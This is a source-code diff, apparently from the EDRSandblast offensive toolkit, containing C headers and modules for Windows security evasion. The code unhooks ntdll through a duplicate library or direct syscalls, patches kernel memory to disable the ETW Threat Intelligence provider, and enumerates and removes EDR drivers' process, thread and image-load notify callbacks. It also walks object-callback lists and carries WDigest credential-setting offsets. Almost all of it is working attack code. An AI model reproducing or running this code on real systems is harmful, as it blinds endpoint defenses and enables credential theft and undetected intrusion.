UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
};
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
}UNHOOK_METHOD;
|
||||
|
||||
hook* searchHooks(const char* csvFileName);
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
|
||||
PVOID hookResolver(PBYTE hookAddr);
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||
VOID unhook(hook* hook, DWORD unhook_method);
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
|
||||
|
||||
|
||||
/*
|
||||
|
||||
@@ -13,7 +13,8 @@
|
||||
|
||||
enum WdigestOffsetType {
|
||||
g_fParameter_UseLogonCredential = 0,
|
||||
g_IsCredGuardEnabled = 1
|
||||
g_IsCredGuardEnabled = 1,
|
||||
_SUPPORTED_WDIGEST_OFFSETS_END
|
||||
};
|
||||
|
||||
union WdigestOffsets {
|
||||
@@ -29,7 +30,12 @@ union WdigestOffsets {
|
||||
DWORD64 ar[2];
|
||||
};
|
||||
|
||||
union WdigestOffsets wdigestOffsets;
|
||||
union WdigestOffsets g_wdigestOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
LPTSTR GetWdigestPath();
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);
|
||||
@@ -0,0 +1,66 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandBlast.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel."));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle);
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
/*
|
||||
|
||||
--- Kernel callbacks operations.
|
||||
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "PEParser.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "KernelCallbacks.h"
|
||||
|
||||
const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") };
|
||||
const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") };
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
||||
|
||||
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
||||
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
||||
|
||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
|
||||
if (callback_struct != 0) {
|
||||
DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
|
||||
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
||||
|
||||
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
||||
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
||||
|
||||
struct KRNL_CALLBACK newFoundDriver = { 0 };
|
||||
newFoundDriver.type = NOTIFY_ROUTINE_CB;
|
||||
newFoundDriver.driver_name = driver;
|
||||
newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr;
|
||||
newFoundDriver.addresses.notify_routine.callback_struct = callback_struct;
|
||||
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
||||
newFoundDriver.callback_func = cbFunction;
|
||||
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
newFoundDriver.removed = FALSE;
|
||||
|
||||
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
|
||||
edrCallbacks->index++;
|
||||
CurrentEDRCallbacksCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (CurrentEDRCallbacksCount == 0) {
|
||||
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
||||
}
|
||||
return CurrentEDRCallbacksCount > 0;
|
||||
}
|
||||
|
||||
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
||||
|
||||
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
||||
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == NOTIFY_ROUTINE_CB &&
|
||||
cb->addresses.notify_routine.type == notifyRoutineType &&
|
||||
cb->removed == !remove) {
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
||||
action,
|
||||
cb->driver_name,
|
||||
cb->addresses.notify_routine.callback_struct_addr,
|
||||
cb->addresses.notify_routine.callback_struct,
|
||||
cb->callback_func);
|
||||
DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct;
|
||||
WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write);
|
||||
cb->removed = !cb->removed;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove);
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove);
|
||||
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
------ Generic callbacks manipulation.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) {
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt];
|
||||
DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset;
|
||||
return Psp_X_NotifyRoutineAddress;
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
------ All EDR Kernel callbacks enumeration / removal.
|
||||
|
||||
*/
|
||||
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||
BOOL found = FALSE;
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose);
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose);
|
||||
found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose);
|
||||
return found;
|
||||
}
|
||||
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE);
|
||||
}
|
||||
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
DWORD64 g_NtoskrnlBaseAddress;
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
if (g_NtoskrnlBaseAddress == 0) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024] = { 0 };
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
g_NtoskrnlBaseAddress = (DWORD64)drivers[0];
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return g_NtoskrnlBaseAddress;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the name of the driver where "address" seems to be located
|
||||
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
|
||||
*/
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
|
||||
LPVOID drivers[1024] = { 0 };
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (offset) {
|
||||
*offset = 0;
|
||||
}
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (offset) {
|
||||
*offset = minDiff;
|
||||
}
|
||||
|
||||
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
|
||||
|
||||
if (!szDriver_cpy) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return szDriver_cpy;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Return the driver path given an address in kernel memory (the driver base or an address inside)
|
||||
* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c)
|
||||
*/
|
||||
TCHAR* FindDriverPath(DWORD64 address) {
|
||||
DWORD64 offset;
|
||||
TCHAR* name = FindDriverName(address, &offset);
|
||||
free(name);
|
||||
name = NULL;
|
||||
DWORD64 driverBaseAddress = address - offset;
|
||||
TCHAR szDriver[MAX_PATH] = { 0 };
|
||||
GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver));
|
||||
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
|
||||
|
||||
if (!szDriver_cpy) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return szDriver_cpy;
|
||||
}
|
||||
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -0,0 +1,467 @@
|
||||
#include <Tchar.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "KernelCallbacks.h"
|
||||
|
||||
#include "ObjectCallbacks.h"
|
||||
|
||||
|
||||
typedef enum OB_OPERATION_e {
|
||||
OB_OPERATION_HANDLE_CREATE = 1,
|
||||
OB_OPERATION_HANDLE_DUPLICATE = 2,
|
||||
OB_FLT_REGISTRATION_VERSION = 0x100
|
||||
} OB_OPERATION;
|
||||
|
||||
typedef struct UNICODE_STRING_t {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWCH Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
|
||||
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
|
||||
|
||||
|
||||
typedef struct OB_CALLBACK_t OB_CALLBACK;
|
||||
|
||||
/*
|
||||
* Internal / undocumented version of OB_OPERATION_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_ENTRY_t {
|
||||
LIST_ENTRY CallbackList;
|
||||
OB_OPERATION Operations;
|
||||
BOOL Enabled;
|
||||
OB_CALLBACK* Entry;
|
||||
PVOID ObjectType; // POBJECT_TYPE
|
||||
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
|
||||
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
|
||||
KSPIN_LOCK Lock;
|
||||
}OB_CALLBACK_ENTRY;
|
||||
|
||||
/*
|
||||
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
|
||||
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
|
||||
*/
|
||||
typedef struct OB_CALLBACK_t {
|
||||
USHORT Version;
|
||||
USHORT OperationRegistrationCount;
|
||||
PVOID RegistrationContext;
|
||||
UNICODE_STRING AltitudeString;
|
||||
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
|
||||
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
|
||||
} OB_CALLBACK;
|
||||
|
||||
|
||||
//TODO : find a way to reliably find the offsets
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
|
||||
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
|
||||
|
||||
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
|
||||
WORD SupportObjectCallbacks_bit = 0x40;
|
||||
|
||||
struct ObjTypeSubjectToCallback {
|
||||
TCHAR* name;
|
||||
DWORD64 offset;
|
||||
DWORD64 callbackListAddress;
|
||||
DWORD64 callbackListFlinkBackup;
|
||||
DWORD64 callbackListBlinkBackup;
|
||||
SIZE_T nbCallbacks;
|
||||
} ObjectTypesSubjectToCallback[2] = {
|
||||
{.name = TEXT("Process"), .offset = 0},
|
||||
{.name = TEXT("Thread"), .offset = 0},
|
||||
};
|
||||
|
||||
/*
|
||||
* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only)
|
||||
*/
|
||||
void GetAdditionnalObjectCallbackOffsets() {
|
||||
if (Offset__OBJECT_TYPE_Name) {
|
||||
//Symbols and offsets already loaded
|
||||
return;
|
||||
}
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
|
||||
if (sym_ctx == NULL) {
|
||||
_tprintf_or_not(TEXT("Symbols not downloaded, aborting..."));
|
||||
exit(1);
|
||||
}
|
||||
GET_OFFSET(_OBJECT_TYPE, Name);
|
||||
GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
|
||||
GET_OFFSET(_OBJECT_TYPE, TypeInfo);
|
||||
GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
|
||||
GET_SYMBOL(ObpObjectTypes);
|
||||
GET_SYMBOL(ObpTypeObjectType);
|
||||
|
||||
UnloadSymbols(sym_ctx, FALSE);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* ------- Callback Entry Undocumented structure strategy --------
|
||||
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name
|
||||
* of an undocumented structure.
|
||||
* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions)
|
||||
*/
|
||||
|
||||
/*
|
||||
* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported
|
||||
*/
|
||||
void EnumAllObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
//get object types count
|
||||
DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType);
|
||||
DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects);
|
||||
|
||||
for (DWORD i = 0; i < ObjectTypesCount; i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64));
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length));
|
||||
DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer));
|
||||
WCHAR typeName[256] = { 0 };
|
||||
ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length);
|
||||
wprintf_or_not(L"Object type : %s\n", typeName);
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
if (!Enabled) {
|
||||
continue;
|
||||
}
|
||||
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
|
||||
Operations & 1 ? TEXT("creations") : TEXT(""),
|
||||
Operations == 3 ? TEXT(" & ") : TEXT(""),
|
||||
Operations & 2 ? TEXT("duplications") : TEXT(""));
|
||||
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
|
||||
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
|
||||
DWORD64 driverOffsetPreOperation = 0;
|
||||
DWORD64 driverOffsetPostOperation = 0;
|
||||
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation);
|
||||
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation);
|
||||
_tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation);
|
||||
_tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation);
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate all callbacks set on Process & Thread handle manipulation
|
||||
* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones
|
||||
*/
|
||||
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return FALSE;
|
||||
}
|
||||
BOOL found = FALSE;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name);
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
